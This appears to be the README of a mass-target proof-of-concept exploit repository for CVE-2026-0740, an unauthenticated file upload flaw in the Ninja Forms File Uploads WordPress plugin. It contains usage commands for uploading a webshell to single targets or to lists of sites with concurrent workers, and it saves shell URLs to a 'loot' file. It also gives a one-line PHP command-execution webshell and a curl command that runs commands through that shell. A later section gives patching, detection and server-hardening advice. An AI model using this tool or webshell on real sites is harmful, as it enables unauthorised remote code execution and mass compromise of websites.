
PoC untuk CVE-2026-0740: Ninja Forms File Uploads <= 3.3.26 — Unauthenticated Arbitrary File Upload yang dapat mengarah ke RCE.
Author: 0xNuts
Contributor: Cursor
Repository: https://github.com/ExDev994/CVE-2026-0740-mass
PoC for CVE-2026-0740: Ninja Forms File Uploads <= 3.3.26 — Unauthenticated Arbitrary File Upload which can lead to RCE.
Original vulnerability discovered by Sélim Lanouar (@whattheslime). Mass-target PoC engine developed by 0xNuts with contributions from Cursor.
This repository is provided for security research and defensive purposes only (authorized pentest, red team with written permission, patch validation, and hardening).
The Ninja Forms - File Uploads plugin for WordPress is vulnerable to unauthenticated arbitrary file upload in all versions up to 3.3.26 (inclusive).
Exploitation chain:
nf_fu_get_new_nonce with an arbitrary field_id.nf_fu_upload handler validates the file upload extension (e.g., image.jpg), but the attacker can override the destination filename via a POST parameter (image_jpg).move_uploaded_file() without adequate sanitization → arbitrary extension + path traversal (../).Full patch available in version 3.3.27+.
This repository contains only CVE-2026-0740.py and README.md. Install dependencies manually:
python3 -m venv .venv
source .venv/bin/activate # Linux/macOS/WSL
# .venv\Scripts\activate # Windows
pip install httpx==0.28.1 socksio==1.0.0
python3 CVE-2026-0740.py -h
Note: You must use exactly one of -t or -f.
python3 CVE-2026-0740.py -t http://target.com --shell shell.php
With explicit path traversal:
python3 CVE-2026-0740.py -t http://target.com --shell shell.php -d ../../../shell.php
Create target.txt file:
http://site1.com
https://site2.com
10.0.0.5
# comment lines are ignored
Run:
python3 CVE-2026-0740.py -f target.txt --shell shell.php
With worker tuning and loot output:
python3 CVE-2026-0740.py -f target.txt --shell shell.php -w 50 -o loot.txt
Successful shell URLs will be written to the loot file (append mode).
echo '<?php system($_GET["cmd"] ?? ""); ?>' > shell.php
After successful upload, the script displays the shell URL. Verify (only on lab/authorized target):
curl "http://target.com/wp-content/shell.php?cmd=id"
httpx -fr -u http://target.com -ms 'file_uploads_nfpluginsettings-js' -er 'nfpluginsettings\.js\?ver=[\d\.]+'
Update Ninja Forms - File Uploads to version 3.3.27 or later immediately.
Ninja Forms - File UploadsAfter update:
wp-admin/admin-ajax.php with action nf_fu_get_new_nonce / nf_fu_upload — arbitrary upload should be deniedCheck WordPress upload directories:
wp-content/uploads/ninja-forms/tmp/
wp-content/uploads/ninja-forms/
wp-content/
Look for foreign files: .php, .pht, .phtml, .phar, .html, .svg, .js that should not be there.
Also check web server logs for requests to:
/wp-admin/admin-ajax.php
with parameters action=nf_fu_get_new_nonce or action=nf_fu_upload.
WAF / rate limiting on /wp-admin/admin-ajax.php to block mass-upload abuse
Disable PHP execution in wp-content/uploads/ directory via web server configuration:
Apache (.htaccess in uploads/):
<FilesMatch "\.php$">
Require all denied
</FilesMatch>
Nginx:
location ~* /wp-content/uploads/.*\.php$ {
deny all;
}
Least privilege: ensure upload file permissions are not writable by web server outside required directories
Monitoring: alert on POST to admin-ajax.php with action nf_fu_* from foreign IPs or high volume
Backup & incident response: if IoC found, isolate site, rotate DB/admin credentials, audit other plugins/themes
Deactivate and delete the Ninja Forms - File Uploads plugin if upload feature is not needed.
| Vector / Extension | <= 3.3.24 | 3.3.25 | 3.3.26 | 3.3.27 |
|---|
Path traversal (../) | PASS | - | - | - |
.php | PASS | - | - | - |
.phtml, .phar | PASS | PASS | - | - |
.pht | PASS | PASS | PASS | - |
.html, .svg, .js | PASS | PASS | PASS | - |
| Flag | Function |
|---|
-t, --target | Single target (single URL) |
-f, --targets-file | .txt file containing a list of targets (one URL per line) |
--shell | Payload/webshell file to upload (required) |
-d, --dest | Destination path traversal (default: ../../../) |
-w, --workers | Number of concurrent threads (default: 20) |
-o, --output | Loot file for successful shell URLs (default: results.txt) |
-x, --proxy | HTTP proxy (e.g., http://127.0.0.1:8080) |
-H, --headers | Custom header (format: 'Header: Value') |
--timeout | HTTP timeout in seconds (default: 10) |